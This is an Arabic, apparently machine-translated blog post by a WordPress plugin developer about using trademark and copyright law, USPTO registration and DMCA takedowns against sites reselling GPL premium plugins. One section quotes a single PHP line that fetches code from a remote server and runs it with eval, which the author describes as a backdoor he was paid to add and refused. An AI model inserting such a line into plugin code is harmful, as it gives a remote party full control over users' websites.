الدليل النهائي لحماية أعمال البرنامج الإضافي لـ GPL WordPress ضد المتصيدون قانونًا

يمكن أن يكون ترخيص البرامج موضوعًا محيرًا للغاية ، خاصة في عالم مفتوح المصدر. حدود الشرعية والأخلاق ليست واضحة دائمًا. ولكن نظرًا لأن أصحاب الأعمال يركزون على بيع مكونات WordPress GPL الإضافية ، فمن واجبنا فهم هذه الموضوعات تمامًا.

لن تتناول هذه المشاركة الأخلاق وستركز على الاعتبارات القانونية. سيوفر لك صيغة قابلة للتنفيذ خطوة بخطوة ، بما في ذلك التعليقات من المحامين ذوي الخبرة في هذا المجال ، لحماية عملك في WordPress من "المتصيدون" الإضافي.

بصفتي مطورًا للمكونات الإضافية على مدار السنوات الخمس الماضية ، قرأت الكثير من المقالات التي تناقش GPL وحرياتها والتحديات المرتبطة بإدارة أعمال متوافقة مع GPL. لكن في الأشهر القليلة الماضية ، أصبح هذا الموضوع أكثر أهمية بالنسبة لي.

في أغسطس ، تبعني حساب Twitter باسم WordPress Plugins (https://twitter.com/plugswp). على سبيل العادة ، راجعت ملفهم الشخصي لمعرفة المزيد عن هذا المستخدم. سرعان ما اكتشفت أن المعالج كان مرتبطًا بـ "wppluginscheap.com" ، وهو عبارة عن مكونات إضافية وسمات "ترول" تروج لنفسها على أنها "المصدر الأول للسمات والإضافات الرخيصة المتميزة لبرنامج WordPress." أثناء تصفح الموقع ، وجدت العديد من المكونات الإضافية الشهيرة مثل Yoast SEO و Backup Buddy و WP Robot و 50 سمة مميزة. بيع كل منتج بأقل من 10 دولارات.

كما كنت ساذجًا ، انتقلت إلى WPChat وبدأت سلسلة رسائل جديدة:

لقد كنا جميعًا نقوم بالترميز تحت التهديد بأن بعض المتصيدون سينبثقون ويعيدون بيع المكونات الإضافية / السمات الخاصة بـ GPL بأسعار باهظة. حسنًا ... إنه هنا ماذا عن شراء Yoast Premium SEO مقابل 4.00 دولارات ... أنا غاضب قليلاً ومن ناحية أخرى مستمتع منذ أن علمت أنه سيظهر يومًا ما.

سألت المجتمع سؤالين:
1. كيف نزيله؟
2. هل تشعر بالتهديد؟

بالتوازي مع ذلك ، انتقلت إلى مجموعة Advanced WordPress على Facebook ، وقمت بتحميل الحالة التالية:

Joost de Valk و Thomas Hofter ما لم تبدأوا في بيع المكونات الإضافية الخاصة بك بأقل من 10 دولارات ، أعتقد أن هؤلاء الأشخاص ينتهكون علاماتك التجارية (وعشرات من مطوري المكونات الإضافية الآخرين). كيف ننزلها؟

إذا كنت عضوًا في مجموعة AWP ، يمكنك التحقق من الموضوع بالكامل هنا.

أثار كلا الموضوعين الكثير من الاهتمام والمناقشة. تلقيت 17 ردًا في WPChat و 84 تعليقًا في مجموعة AWP Facebook. بمجرد أن بدأت الردود تتراكم ، أدركت شيئين:
1. يعد برنامج WordPress الإضافي / المتصيدون في السمات وباءً - إنه يحدث في كل مكان!

لقد كان هذا يحدث لفترة طويلة ، على الرغم من أنه في الغالب مع السمات وإضافات WooCommerce. راجع gplclub.org و sozot.com. فعل WPAvengers.com شيئًا مشابهًا قبل إغلاقه.

- ليلاند فيجل ، مؤسس WPChat

2. على الرغم من وجود المئات من منشورات المدونات حول كل جانب من جوانب ترخيص GPL ، لا يزال هناك الكثير من الالتباس في النظام البيئي. حتى بين المؤثرين. يبدو أن الكثير من الناس يعتقدون أنه من المقبول تقنيًا (وإن كان ذلك غير أخلاقي) القيام بذلك نظرًا لأن المكونات الإضافية والسمات مرخصة بموجب GPL.

يظهر هؤلاء الانتهازيون بين الحين والآخر ولا يبدو أنهم يصلون إلى أي شيء. إنه قانوني (جزء GPL ، على أي حال) ولكنه غير أخلاقي. إنه كسول. وهو أمر سيء للعملاء لأن البضائع في شكل مشكوك فيه وقديمة وغير مدعومة ومشبوهة.

- ستيفن غليبي ، مطور السمات ومؤسس Pro Plugin Directory

إنه أمر غير أخلاقي ، ومع ذلك ، إذا كنت مالك متجر سمات / مكونًا إضافيًا تم إطلاقه بموجب GPL ، فسأقول ذلك ، أشعر أنني غير أخلاقي أكثر إذا كان بإمكاني قول هذا أكثر من هؤلاء الرجال ، ومنافق تام.

- إيونوت نيجو ، مؤسس CodeinWP

تضمنت التعليقات الأخرى التي تم تلقيها على Facebook ما يلي:

• إذا كانت المكونات الإضافية مرخصة بموجب GPL ، فأنا أخشى أنها لا تستطيع فعل أي شيء
• لا أعتقد أن الإصدارات المميزة تخضع لـ GPL
• إنه قانوني ، بموجب GPL

وهناك الكثير من هؤلاء!

لذا قبل أن نبدأ ، دعني أوضح شيئًا -

هذا خطأ تماما!

لا يزال المطورون يتمتعون بحقوق قابلة للتنفيذ حتى لو تم توزيع المكونات الإضافية الخاصة بهم بموجب ترخيص مفتوح المصدر.
قد تظل "أدوات ترول المكونات الإضافية" مسؤولة عن انتهاك العلامات التجارية و / أو انتهاك حقوق النشر.

أريد أن أضيف أنني قرأت الكثير من الآراء التي تقول أنه لا ضرر للأعمال التجارية من قبل هؤلاء المتصيدون. إذا كان هذا هو الحال ، فلن أزعج قضاء الكثير من الوقت في تجميع هذا المنشور. أود أن أغتنم هذه الفرصة لشرح الأسباب التي تجعل المتصيدون سيئين لمجتمع WordPress - لعملك وأيضًا لمستخدمي WordPress.

لماذا ترول المكونات الإضافية سيئة لأعمال الإضافات الخاصة بك؟

الإيرادات المفقودة

سواء أعجبك ذلك أم لا ، سيشتري عدد كبير من المستخدمين المكون الإضافي المميز الخاص بك أو يحصل عليه من هذه المواقع. خاصة ووردبريس نوبي. إذا كنت جديدًا على نظام WordPress البيئي وأبحث عن مكون إضافي لتحسين محركات البحث ، فإن Yoast SEO مقابل 4 دولارات تبدو أكثر جاذبية من السعر الكامل. أود فقط شرائه. تمامًا مثلما أبحث دائمًا عن أفضل خصم عند شراء هاتف ذكي أو منتجات أخرى. لا أحتاج إلى "الضمان الأصلي" لأنني لم أستخدمه مطلقًا مع أي من المنتجات التي اشتريتها ، لذا فإن الدعم ليس شيئًا يفكر فيه المستخدمون منذ البداية.

دعم إساءة الاستخدام

إذا كانت هناك أي مشاكل مع المكون الإضافي الذي تم شراؤه من القزم - خمن من يقع اللوم على ذلك؟ بالطبع المطور الحقيقي / الشركة. إذا تم نسخ العمل الفني المرتبط بعلامتك التجارية ، فسيتصل بك العملاء. تمامًا كما لو اشتريت هاتفًا ذكيًا من HTC على Amazon ، عندما أواجه مشكلات مع الجهاز ، أتصل بالدعم الفني لـ HTC ، وليس Amazon. ماذا ستقول للمستخدم؟ "نعم ، إنه هاتفنا ، ولكن عليك الاتصال بشركة Amazon للحصول على الدعم الفني." سيكون من الصعب على المستخدم استيعاب هذه الاستجابة. سيبدو أنك لا تقف وراء منتجاتك.

إذا كانت هناك أي مشاكل في المكون الإضافي الذي تم شراؤه من المتصيد - خمن من يقع اللوم على ذلك؟

ضرر العلامة التجارية

ليس هناك شك في أن بعض المتصيدون يضخون تعليمات برمجية ضارة في المكونات الإضافية. الحافز الرئيسي للقيام بذلك هو توليد الإيرادات أثناء توزيع الإضافات المتميزة مجانًا. لقد شاهدت هذا بنفسي. قبل عامين ، اتصل بي أحد كبار المسئولين الاقتصاديين من وكالة BIG UK (أكثر من 100 موظف). . لقد عرض الشراكة معي عن طريق إضافة سطر واحد بسيط من التعليمات البرمجية إلى المكون الإضافي الخاص بنا:
eval(wp_remote_get( 'http://www.company.com/path/to/api/endpoint/' )['body']);

كانت الفكرة هي أن نقطة نهاية واجهة برمجة التطبيقات ستعيد عناوين URL المخفية لدفع الروابط الخلفية لشركات محفظتهم. ومن الأمثلة التي أرسلها:

<a href="”http://www.portfolio-company.com”">Great Company</a>

قد يقوم المتصيدون بحقن شفرة ضارة في المكونات الإضافية أثناء استخدام علامتك التجارية الأصلية ، مما يتسبب في ضرر مباشر لعلامتك التجارية!

كان هذا قبل Google Penguin وكان اختراقًا رائعًا لتحسين محركات البحث. وكان العرض رائعًا أيضًا - 0.1 دولار لكل مجال شهريًا. لذلك إذا كان لدي 100000 مجال نشط باستخدام المكون الإضافي الخاص بي ، فيمكنني توليد 10000 دولار شهريًا. الإيرادات دون إنفاق دقيقة إضافية. رائع أليس كذلك؟ من الواضح أننا لم نفعل ذلك ، لأسباب مختلفة ، في المقام الأول لأن هذا الرمز كان ضارًا للغاية. يفتح بابًا خلفيًا بعيدًا لفعل أي شيء تريده مع الموقع. حتى لو كانت الوكالة تهدف فقط إلى استخدامه لتحسين محركات البحث ، فماذا يحدث إذا تم اختراق خادمهم وتولى شخص لديه نوايا سيئة السيطرة؟ من يدري كم عدد الإضافات الشرعية لـ WordPress.org التي دخلت في شراكة مع تلك الوكالة ... بالعودة إلى المتصيدون ، فإن نواياهم مالية بحتة. إنهم لا يروجون للإضافات المميزة الخاصة بك من أجل المتعة ، بل يريدون كسب المال. وإذا قاموا بأشياء غير قانونية مثل انتهاك حقوق النشر والعلامات التجارية ، فلا شيء يمنعهم من توليد مصادر دخل بديلة مثل حقن الكود. أوه ، لقد نسيت أن أذكر أنه إذا حدث شيء من هذا القبيل ، فأنت الملام! إنه منتجك وعلامتك التجارية.

لماذا يرول البرنامج المساعد سيء للمستخدمين؟

للعديد من نفس الأسباب التي ذكرتها ، ولكن من وجهة نظر المستخدم.

لا دعم

عند مواجهة مشكلة فنية ، لا يستطيع القزم مساعدتك. إنه ليس منتجهم ، وليس لديهم أدنى فكرة عن الكود أو كيفية حل أي مشاكل ذات صلة. علاوة على ذلك ، ليس لديهم موارد الدعم للقيام بذلك. وإذا حاولت الاتصال بالشركة الأصلية ، فإن مطوري المكونات الإضافية المتميزة لديهم البنية التحتية لتتبع عملائهم. لن تساعدك الشركة غالبًا حتى تشتري ترخيصًا أصليًا.

لا يستطيع القائمون على إعادة التوزيع غير القانونيين للمكونات الإضافية مساعدتك ولن يساعدك في حل المشكلات الفنية

لا توجد تحديثات تلقائية

تحتوي معظم المكونات الإضافية المتميزة في السوق اليوم على آلية للترخيص والتحديث (غالبًا ما يقوم المتصيدون باختراق هذا الجزء قبل إعادة توزيع المكون الإضافي). الطريقة التي تعمل بها آلية التحديثات التلقائية هي أنه مرة واحدة كل 24 ساعة ، يتحقق المكون الإضافي من خادم الشركة الأصلي لمعرفة ما إذا كان هناك أي تحديثات للإصدار المتميز. يقوم أيضًا بالمصادقة باستخدام مفتاح ترخيص. نظرًا لأن البرنامج المساعد troll لم يتم إصداره مطلقًا بمفتاح ترخيص من الشركة الأصلية ، فلن تعمل آلية التحديثات هذه. لذلك ، في كل مرة يتم فيها تثبيت مكون إضافي مميز غير أصلي ، لا توجد تحديثات تلقائية. هذا أمر سيء لأن المتسللين يجدون باستمرار ثغرات إبداعية جديدة وقد يكون أحد المكونات الإضافية القديمة هو هذا التسرب الأمني.

لا تحتوي إضافات WordPress المقرصنة على آلية تحديثات تلقائية - ثغرة أمنية مستمرة!

تسريبات أمنية كبيرة

تذكر سطر واحد من التعليمات البرمجية الخبيثة التي ذكرتها أعلاه؟ هل ترغب في أن يكون لديك باب خلفي لموقعك مفتوح للقراصنة؟ يمكّن هذا الباب الخلفي المتسلل حرفيًا من تعديل كل بكسل وقطعة من المحتوى على موقعك. وهذا مثال واحد فقط ، أنا متأكد من وجود العديد من الحقن الإبداعية الأخرى.

ماذا تغطي تراخيص مفتوحة المصدر؟

نظرًا لوجود الكثير من الالتباس حول هذه المشكلات في مجتمع المطورين ، فقد تواصلت مع صديقي ، أرييل راينتز وزميله ماثيو هينتز ، وهما محاميان للملكية الفكرية (براءات الاختراع والعلامات التجارية وحقوق التأليف والنشر) في شركة Lowenstein Sandler LLP ، شركة وطنية لها مكاتب من نيويورك إلى بالو ألتو.

أوضح لي آرييل أنه على الرغم من أنه يحق لـ 'trolls' المكون الإضافي لـ WP تقنيًا إعادة توزيع التعليمات البرمجية التي تخضع لترخيص مفتوح المصدر (على سبيل المثال ، GPL) ، إلا أن هناك حقوق ملكية فكرية أخرى ('IP') غير مغطاة بموجب المصدر المفتوح الترخيص الذي ربما لا يزال هؤلاء "المتصيدون" يمثلون انتهاكًا له.

هذا ما يجب أن يقوله آرييل عن جي بي إل:

من المهم أن تفهم ما يغطي (ولا يغطي) ترخيص المصدر المفتوح (GPLv2) الذي يتم بموجبه توزيع معظم مكونات WordPress الإضافية:

يحدد ترخيص المصدر المفتوح كيفية توزيع البرنامج / كود المصدر. بشكل عام ، تسمح هذه التراخيص لأي شخص باستخدام البرنامج / الكود وتعديله وما إلى ذلك دون أي تكلفة. وبالتالي ، يمكن إعادة توزيع الكود المصدري لمشروع مفتوح المصدر من قبل أطراف أخرى دون انتهاك شروط GPL.

بكلمات بسيطة - تسمح حرية GPL لأي شخص بأخذ شفرة المصدر والقيام بكل ما يريد به ، بما في ذلك التوزيع. أعتقد أن هناك إجماعًا على هذا الجزء في المجتمع.

ما الذي لا تغطيه تراخيص البرامج مفتوحة المصدر؟

ومع ذلك ، لا تمتد تراخيص المصدر المفتوح (بما في ذلك GPLv2) إلى العلامات التجارية بشكل عام. تتعلق العلامات التجارية بالطريقة التي يتم بها تمييز المنتج (على سبيل المثال ، مكون إضافي ، سمة ، تطبيق ، إلخ) - على سبيل المثال ، اسم المنتج (و / أو الشركة التي نشأ منها) ، وشعاره / شعاره ، و / أو شعارها. وبالتالي ، في حين أن الكود المصدري لمشروع ما يمكن إعادة توزيعه بحرية بموجب ترخيص مفتوح المصدر ، فإن هذا الترخيص لا يمنح الآخرين أي حقوق فيما يتعلق بالعلامات التجارية المرتبطة بالمشروع (على سبيل المثال ، اسم المنتج ، الشركة التي طورته ، إلخ.).

بكلمات غير محامية - لا تسمح GPL باستخدام أي من العلامات التجارية للمكوِّن الإضافي مثل اسم المنتج واسم الشركة والشعار. يقدم لنا آرييل مثالاً:

لذلك ، على سبيل المثال ، إذا أعاد طرف ثالث توزيع مكون إضافي لبرنامج WordPress باستخدام جميع العلامات التجارية الأصلية للمشروع (على سبيل المثال ، الترويج له بالاسم الأصلي ، والشعار ، وما إلى ذلك ، للشركة / المشروع) ، فمن المحتمل أن ينتهك هذا العلامة التجارية للمطور الأصلي حقوق. كما لوحظ ، لا يسمح ترخيص المصدر المفتوح لأي شخص باستخدام العلامة التجارية لشخص آخر في سياق تجاري. هذا مهم لأن أحد المبادئ الرئيسية لقانون العلامات التجارية هو حماية المستهلك من الالتباس حول مصدر المنتج.

لا تقتصر المبادئ الأساسية لقانون العلامات التجارية على حماية الأعمال التجارية فحسب ، بل لحماية المستهلك من الالتباس بشأن مصدر المنتج. هذه ملاحظة مهمة!

من المهم أيضًا إدراك أن العديد من الشركات مفتوحة المصدر تسجل حقوق علاماتها التجارية وتحميها وتراقبها. تتضمن الأمثلة: Linux و MySQL و Red Hat و WordPress .

ما يقوله آرييل هنا هو أن العديد من الأسماء الكبيرة في المصادر المفتوحة تحمي وتراقب حقوق علامتها التجارية. لماذا لا نفعل نفس الشيء؟

إذا كان بإمكان Red Hat حماية حقوق علامتهم التجارية والتحكم فيها ، فلماذا لا يستطيع مطورو المكونات الإضافية؟

بالإضافة إلى حقوق العلامات التجارية ، أشار أرييل إلى أنه يحق للمطورين أيضًا حماية حقوق الطبع والنشر على المواد التي ينتجونها والتي لا تشكل جزءًا من شفرة المصدر:

من المهم أيضًا إدراك أن GPL (والتراخيص مفتوحة المصدر الأخرى) تغطي فقط الكود المصدري للمكوِّن الإضافي نفسه. ولكن ، إذا قام المطور بإنشاء مواد ليست جزءًا من شفرة المصدر (على سبيل المثال ، الرسومات والمواد الترويجية والتغليف وما إلى ذلك) ، فلن تندرج هذه المواد ضمن GPL ولن يكون المطور ملزماً بالسماح لطرف آخر لإعادة توزيع المواد.

على سبيل المثال ، ألق نظرة على كيفية عرض المكون الإضافي "Yoast" في بعض مواقع "troll" المشار إليها أعلاه. في حين أن هذه المواقع قد تكون قادرة تقنيًا على إعادة توزيع شفرة مصدر Yoast (كما تندرج تحت GPL) ، فإن هذه المواقع تتضمن أيضًا عناصر مثل علامة Yoast التجارية (على سبيل المثال ، اسم Yoast وشعارها ، وهي علامات تجارية ) بالإضافة إلى مواد إبداعية أخرى طورتها Yoast (على سبيل المثال ، رسم الرجل الذي يشرب الشاي والذي ليس جزءًا من كود مصدر Yoast ، وبالتالي فإن حقوق النشر مملوكة لشركة Yoast ولا تخضع لـ GPL).

لذلك - على الرغم من أن المتصيد قد يحق له قانونًا إعادة توزيع شفرة مصدر Yoast ، إلا أن GPL (أو ترخيص آخر مفتوح المصدر) لا يمنحهم الحق في استخدام (أ) علامة Yoast التجارية (العلامات التجارية) أو (ب) الرسومات والمواد الأخرى ، إلخ. . ، (حقوق التأليف والنشر) . نظرًا لأنها ليست جزءًا من الكود المصدري للمكون الإضافي ، فإن هذه العناصر لا تندرج ضمن GPL وبالتالي فإن حقوق الملكية الفكرية (IP) لهذه العناصر هي ملكية حصرية للمطور .

نظرًا لأن "المتصيدون" في المكون الإضافي يستخدمون العلامات التجارية للمطور والمواد المحمية بحقوق الطبع والنشر (كما في أمثلة "Yoast" أعلاه) ، فهناك إجراءات قانونية (كما سنستكشف بالتفصيل أدناه) يمكن للمطورين استخدامها لفرض هذه الحقوق من أجل التوقف أو الثني أو على الأقل محاولة الحد من التأثير الذي يمكن أن يحدثه هؤلاء "المتصيدون" على عملك. مرة أخرى ، هذا صحيح على الرغم من توزيع المكون الإضافي الخاص بك تحت GPL.

ما الذي تحميه العلامات التجارية؟

يشرح ماثيو ما تغطي العلامات التجارية:

ببساطة ، العلامة التجارية هي معرّف فريد للمستهلكين يميز مصدر السلع أو الخدمات عن الآخرين. غالبًا ما تكون العلامة التجارية كلمة أو شعارًا أو مزيجًا من هذه العناصر. في الولايات المتحدة ، تبدأ حقوق العلامات التجارية بالاستخدام في التجارة (تسمى "حقوق القانون العام") ، وليس من خلال التسجيل في مكتب براءات الاختراع والعلامات التجارية بالولايات المتحدة (USPTO). ومع ذلك ، فإن تسجيل علامتك التجارية لدى USPTO يوفر للمالك العديد من المزايا غير المتاحة من خلال حقوق القانون العام. والجدير بالذكر أن هذه تتضمن دليلًا على الحق الحصري للمسجل في استخدام علامة في جميع أنحاء الولايات المتحدة فيما يتعلق بالسلع أو الخدمات المنصوص عليها في التسجيل ، والإشعار البناء بأن المسجل هو مالك العلامة التجارية ، وإدراج التسجيل في مكتب براءات الاختراع والعلامات التجارية في الولايات المتحدة. قاعدة بيانات على الإنترنت ، والقدرة على استخدام الرمز. (قبل التسجيل ، يمكن استخدام رمز TM مع علامة تجارية.)

هل الرمز محمي بعلامة تجارية؟

أثناء بحثي ، قرأت بعض المنشورات التي تشير إلى أنه عند إنشاء مكون إضافي مرخص لـ GPL أو سمة ، يجب إعادة صياغة الكود للتأكد من عدم وجود وظائف تتضمن معرّف العلامة التجارية كجزء من اسم الوظيفة. لتوضيح ذلك ، سألت ماثيو إذا كان الرمز محميًا أيضًا بواسطة العلامة التجارية ، وإليك الإجابة:

الكود نفسه غير محمي بالعلامة التجارية. تحمي العلامات التجارية الكلمة أو الشعار الذي يربطه المستهلك بسلعك أو خدماتك. سيكون الحد الأقصى لحماية العلامة التجارية للمكوِّن الإضافي هو الكلمة أو الشعار المستخدم لتسويق المكون الإضافي للمستهلكين. ومن ثم فإن الاختبار الأساسي لانتهاك العلامات التجارية هو ما إذا كان من المحتمل أن يتم الخلط بين المستهلكين بسبب تشابه العلامتين. يتم تقييم التشابه من خلال النظر إلى أشياء مثل التشابه البصري واللفظي ، ومدى ارتباط السلع / الخدمات لكل علامة ، ومدى تمييز العلامات ، ومدة استخدام العلامات.

لتوضيح الإجابة بلغة صديقة للمطورين:

• أسماء الفئات وأسماء الوظائف وأسماء المتغيرات والأسماء الثابتة غير محمية بواسطة العلامات التجارية.
• من ناحية أخرى ، فإن السلاسل المطبوعة على الصفحة والمرئية للمستخدمين النهائيين - محمية بعلامة تجارية.

كيف يتم تقديم تسجيل علامة تجارية؟

للحصول على مزايا التسجيل الفيدرالي للعلامة التجارية ، يجب أن تكون علامتك التجارية مسجلة لدى USPTO. يجب أن يتضمن طلب التسجيل المعلومات الأساسية: اسم مقدم الطلب / المالك ، والعلامة ، والسلع أو الخدمات التي تُستخدم بها العلامة ، ودليل استخدام العلامة مع تلك السلع أو الخدمات ، وتواريخ أول استخدام لتلك العلامة . اعتبارات لتطبيقك:

• ابحث في قاعدة بيانات TESS الخاصة بـ USPTO (http://www.uspto.gov/trademark) عن نفس العلامات أو العلامات المشابهة. إذا تم التقدم بطلب للحصول على نفس العلامات أو علامات مشابهة أو تم تسجيلها بالفعل ، فيمكن أن تكون هذه هي الأساس لرفض طلبك. ابحث أيضًا عبر Google أو خدمات البحث الأخرى حيث يمكن استخدام العلامة دون تسجيل ولها حقوق أعلى في هذه العلامة على الرغم من تسجيلك. لا يستنفد التسجيل حقوق العلامات التجارية لمستخدم سابق.
• لوصف سلعك أو خدماتك ، ابحث في دليل معرّف USPTO عن اللغة المقبولة: http://tess2.uspto.gov/netahtml/tidm.html . يمكنك أيضًا البحث عن لغة مقبولة على TESS.
• الفئات هي مؤشرات عامة تتعلق بمجالات معينة للسلع أو الخدمات. على سبيل المثال ، عادةً ما تكون المكونات الإضافية القابلة للتنزيل في الفئة 9 والتي تغطي جميع برامج وبرامج الكمبيوتر.
• يتم تحديد رسوم طلب العلامة التجارية من خلال عدد الفئات. تبلغ الرسوم العامة 275 دولارًا لكل فصل ، ولكن تتوفر خيارات إيداع أقل وأكثر تكلفة.

بعد إيداع الطلب ، سيفحص مكتب الولايات المتحدة الأمريكية الطلب لتحديد ما إذا كانت العلامة معرّفًا فريدًا (أي ليست وصفية أو مشابهة بشكل مربك للطلبات أو التسجيلات المودعة مسبقًا). يوفر USPTO جداول زمنية للتطبيقات: http://www.uspto.gov/trademark/trademark-timelines/trademark-application-and-post-registration-process-timelines .

ضع في اعتبارك أن حماية العلامات التجارية إقليمية. على سبيل المثال ، سيوفر التسجيل في الولايات المتحدة حماية العلامة التجارية في الولايات المتحدة.

كما وصف ماثيو ، العملية ليست بالضرورة معقدة - لكنها تستغرق وقتًا وجهدًا. أود أن أوصي بالدفع لمحامي متوسط ​​المستوى للقيام بذلك نيابة عنك. يجب أن يكلفك ما بين 200 إلى 2000 دولار للعمل ، على الرغم من أنه سيوفر لك الوقت ويضمن لك تطبيقًا أفضل. على أي حال ، قبل أن تبدأ ، ابحث في Google! إذا وجدت منتجًا أو شركة (خاصة في نفس الحقل أو حقل مشابه) تطابق المصطلح / العبارة بالضبط ، فهناك فرصة جيدة لأنك لن تتمكن من تسجيل العلامة التجارية (وقد تنتهك حقًا علامة شخص آخر).

ماذا تفعل عندما يتم انتهاك علامتك التجارية؟

سأبدأ بما لا يجب عليك فعله - إذا كان انتهاكًا للعلامة التجارية ، وليس حقوق الطبع والنشر ، فلا يجب عليك تقديم طلب إزالة وفقًا لقانون الألفية الجديدة لحقوق طبع ونشر المواد الرقمية.

قانون الألفية للملكية الرقمية يغطي فقط انتهاك حقوق النشر. لا يوجد حكم مماثل متاح للعلامات التجارية. يمكن أن يؤدي استخدام إشعارات الإزالة وفقًا لقانون الألفية الجديدة لحقوق طبع ونشر المواد الرقمية لمطالبات العلامات التجارية إلى أن يكون المدعي مسؤولاً عن البيانات الكاذبة.

من الأسهل عمومًا محاولة حل الأمور مباشرة مع مالك موقع الويب. إذا لم ينجح ذلك ، فيمكنك رفع دعوى قانونية ضد مالك موقع الويب أو المضيف وما إلى ذلك. من المحتمل أن يكون النهج المحدد الذي تتبعه محددًا بحالة معينة وفي هذه المرحلة ، أقترح الاتصال بمحام لفهم الخيار الأفضل في ظروفك الخاصة .

ما الذي تحميه حقوق التأليف والنشر؟

حقوق النشر تختلف عن العلامة التجارية. تحمي حقوق الطبع والنشر الأعمال الأصلية المؤلفة المثبتة في بعض وسائط التعبير. ومع ذلك ، فإن أحد حدود حماية حقوق النشر هو أنه يمتد فقط إلى التعبير وليس الفكرة. تشمل فئات المصنفات المحمية بحقوق الطبع والنشر الأعمال الأدبية (الكتب والرموز) والمصنفات الموسيقية والصور الفوتوغرافية والصور والصور المتحركة والتسجيلات الصوتية ، من بين فئات أخرى. حد آخر هو أن حقوق الطبع والنشر لا تحمي العبارات أو التعبيرات القصيرة - التي تبقى لحماية العلامات التجارية ، طالما أن تلك تعمل كمعرف فريد للمستهلكين الذي يميز مصدر السلع أو الخدمات عن الآخرين.

ماذا تفعل عندما تنتهك حقوق النشر الخاصة بك؟

1. في البداية ، غالبًا ما يكون من الأسهل محاولة الاتصال بمالك موقع الويب مباشرة. في كثير من الحالات ، لا يهتم مالك موقع الويب أكثر من اهتمامك بتجنيد المحامين ، والمشاركة في الإجراءات القانونية ، وما إلى ذلك. حاول العثور على حساب Twitter أو الاتصال بالبريد الإلكتروني أو صفحة الاتصال على الموقع ، وإرسال رسالة تطالب بإزالة المكون الإضافي الخاص بعلامتك التجارية من موقع الويب.
2. إذا لم يساعدك ذلك ، يمكنك إرسال إشعارات إزالة DMCA (قانون حقوق المؤلف للألفية الرقمية). هناك مجموعة من المولدات لمساعدتك في إنشاء واحد ، فقط google لـ “dmca takedown generator”. بمجرد حصولك على الإشعار ، ستحتاج إلى إرساله إلى مالك الموقع والشركة المضيفة ومزود خدمة الإنترنت. يمكنك اختياريًا إرسال إشعار إلى محركات البحث لإزالة الموقع من نتائج البحث. للعثور على شركة الاستضافة ، يمكنك استخدام مواقع الويب مثل whoishostingthis.com. للعثور على مزود خدمة الإنترنت ، يمكنك استخدام مواقع الويب مثل http://www.whoismyisp.org/. للعثور على الرابط ذي الصلة لتقديم DMCA إلى ISP / Hosting ، ابحث عن ISP_NAME / HOSTING_NAME + DMCA.

بدلاً من ذلك ، يمكنك رفع دعوى قانونية ضد مالك موقع الويب أو المضيف وما إلى ذلك. أقترح الاتصال بمحامٍ لفهم ما إذا كان هذا هو الخيار الأفضل أم لا في ظروفك الخاصة.

خاتمة

آمل أن تكون هذه المجموعة من الإرشادات خطوة بخطوة قد زودتك بالأدوات المناسبة لحماية أعمال مكونات GPL الإضافية الخاصة بك من المتصيدون. مجرد خلاصة:

• بصفتك صاحب عمل ، فأنت مؤهل ، ويجب عليك حماية العلامة التجارية والأصول الخاصة بشركتك.
• العلامات التجارية وحقوق التأليف والنشر هي طرق رخيصة وفعالة نسبيًا لحماية أعمالك الإضافية بشكل قانوني. لذلك ، يجب أن تفكر بشدة في تسجيل العلامات التجارية لاسم شركتك وأسماء المنتجات الخاصة بك.
• ينتهك العديد من المتصيدون حقوق الطبع والنشر (على سبيل المثال ، عن طريق رفع الرسومات الترويجية) والعلامات التجارية (باستخدام اسم علامتك التجارية). من خلال إنشاء اسم تجاري فريد وشعار وعمل فني ، يمكنك إنشاء محفظة للمساعدة في مكافحة انتهاك حقوق النشر.

ينتهك العديد من المتصيدون حقوق النشر والعلامات التجارية. من خلال إنشاء اسم تجاري فريد وشعار وعمل فني ، يمكنك إنشاء محفظة للمساعدة في مكافحة انتهاك حقوق النشر

إذا أدرج موقع ويب تابع لجهة خارجية مكوّنًا إضافيًا أو موضوعًا إضافيًا لـ GPL ، للبيع أو الهبات ، دون موافقتك:

• إذا كان موقع الويب يستخدم عملك الفني الأصلي أو مواد أخرى - فمن المحتمل أن يكون ذلك انتهاكًا لحقوق الطبع والنشر. يمكنك تقديم طلب إزالة وفقًا لقانون الألفية الجديدة لحقوق طبع ونشر المواد الرقمية.
• إذا كان موقع الويب يستخدم العلامة التجارية لشركتك أو منتجك ، فمن المحتمل أن يكون ذلك انتهاكًا للعلامة التجارية. يمكنك رفع دعوى قضائية ضد هذا الموقع.

إذا كانت لديك أية أفكار إضافية حول الآثار القانونية والأخلاقية المترتبة على GPL ، فلا تتردد في مشاركتها في التعليقات أدناه.

مراجع كبيرة:

• إشعار إزالة DMCA صدر ضد Fork Of WP Migrate DB Pro
• لا يوفر ترخيص GPL حرية انتهاك العلامات التجارية المسجلة
• هل يتم إساءة استخدام WordPress GPL؟
• لماذا ندفع مقابل كود GPL المرخص؟